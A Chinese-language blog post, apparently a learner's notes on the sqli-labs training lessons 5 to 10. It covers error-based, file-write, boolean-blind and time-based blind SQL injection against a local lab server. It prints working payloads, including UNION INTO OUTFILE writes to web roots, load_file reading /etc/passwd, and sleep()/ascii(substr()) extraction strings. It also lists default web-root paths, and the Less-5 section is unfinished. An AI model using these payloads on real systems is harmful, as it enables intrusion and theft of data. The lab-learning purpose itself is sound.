「SQL注入入门篇」SQL注入(七)

为什么我是web安全菜鸡啊!!!

Posted by 许大仙 on October 26, 2016

Less-5(又乱了 此坑待填)

第五课到了报错注入和双注入,于是又折腾了好几天,花了很长时间理解原理和构造语句,仔细总结下吧。

形式

观察发现,在无错情况下只会显示“You are in…”,而在加单引号报错情况下才会显示一些信息。因此我们应该构造一个语句让他报错,在报错信息中把我们需要的其他信息带出来

知识点

  • 子查询
  • Group by函数
  • 聚合函数
  • rand()和floor()
  • concat()

子查询:Select concat((select database())); 这种形式就是多重查询,其中加粗部分会被优先执行,并将其结果返回给外层

Group by:

Less-7

第七课是通过outfile函数来下载数据库到外部文件,我们可以通过访问这个文件获取数据库中的信息,甚至可以通过与一些其他命令的结合来获取系统的密码文件等信息。

初步判断

正确的页面是”You are in…Use outfile”

报错的页面是”You have an error in your SQL syntax…”

通过order by语句来先探查字段数目

判断闭合方法(神特么能猜到==我还是太年轻)

条件

如果要正确的写入,需要以下几个条件:

  • 需要知道系统网站的默认路径,如果缺少了这个信息我们就看不到导出的文件
  • 需要知道字段数目,否则就不能正确的生成和到处文件
  • 需要注意路径名要用绝对路径,比如"/opt/lampp/htdocs/sqli/test.txt",之前前面没有加斜杠被坑了很久
  • 可能还存在权限问题,比如某文件夹没有写入权限。这时候可以考虑下/tmp文件夹,这个由于是存放临时文件,一般都有写入权限,不过好像没啥用哈

一些常见网站配置的默认路径(从老大那里转载的):

  • WindowsServer IIS:c://inetpub/wwwroot/(asp)
  • Linux Nginx:
    • /usr/local/nginx/html
    • /home/wwwroot/default
    • /usr/share/nginx
    • /var/www/html
  • Linux Apache:
    • /var/www/htm
    • /var/www/html/htdocs
  • Linux Xampp集成:/opt/lampp/htdocs/

写入语句

http://192.168.15.137/sqli/Less-7/?id=1')) union select 1,2,3 into outfile "
/opt/lampp/htdocs/sqli/Less-7/eee.txt" --+

我们也可以通过load_file()函数来调用载入外部文件,例如可以去调用”/etc/passwd”文件,把他导出

http://192.168.15.137/sqli/Less-7/?id=1'))  union select 1,2,load_file("/etc/passwd") into outfile 
"/opt/lampp/htdocs/sqli/Less-7/hehe.txt" --+

玩法有很多,自己开发。

Less-8

基于布尔值的盲注

Length()

用于输出所选内容的长度,例如select length("hahaha")显示结果为6

Substr()

substr(str, pos, len) 该函数用于截断字符串,第一个参数是所需切分的字符串,第二个选项是起点,第三个选项是步长。需要注意的是,pos是从1开始的。例如select substr("hello"),1,2显示结果应该是”he”

Ascii()

ascii(str) 该函数接受字符,并将其转化为ASCII码,这样能方便我们用二分法更快的查找正确的字符对应的ASCII码,这样就能获取到字符的信息

特征

可以看到我们正常访问时有提示”You are in…“,但如果报错的话就没有回显。我们能得到的信息只有布尔值,因此称之为基于布尔值的注入。

Payload

?id' and (select ascii(substr(database(),1,1)) > 100)--+ //true
?id' and (select ascii(substr(database(),1,1)) < 150)--+ //true
?id' and (select ascii(substr(database(),1,1)) > 125)--+ //false
?id' and (select ascii(substr(database(),1,1)) > 112)--+ //true
?id' and (select ascii(substr(database(),1,1)) > 118)--+ //false
?id' and (select ascii(substr(database(),1,1)) = 115)--+ //true

二分法查找,同理可猜测其他字符

脚本自动化盲注

Less-9&Less-10

单引号型基于时间的盲注,或双引号(逃

Sleep()

sleep(int) 该函数接受一个整数作为参数,运行成功后会将整个程序挂起若干秒。因此我们可以在无回显时用这个来作为payload是否执行的标志。

If()

if(expr1, expr2, expr3) 该函数接受三个参数,当expr1为真时,返回expr2,否则返回expr3的结果。

判断闭合情况

id=1 and sleep(10) +--+
id=1' and sleep(10) +--+
id=1') and sleep(10) +--+
id=1" and sleep(10) +--+
id=1") and sleep(10) +--+

Payload

id=1' and (select if(ascii(substr((select table_name from information_schema.tables 
where table_schema=database() limit 0,1),1,1))=111,sleep(10),NULL))--+

系统崩了,重装前忘了备份这个文件…

于是大半夜重写了一遍啊啊啊啊啊

嗯,受某人影响还是觉得应该改改自己的性格。做一件事就做到最好。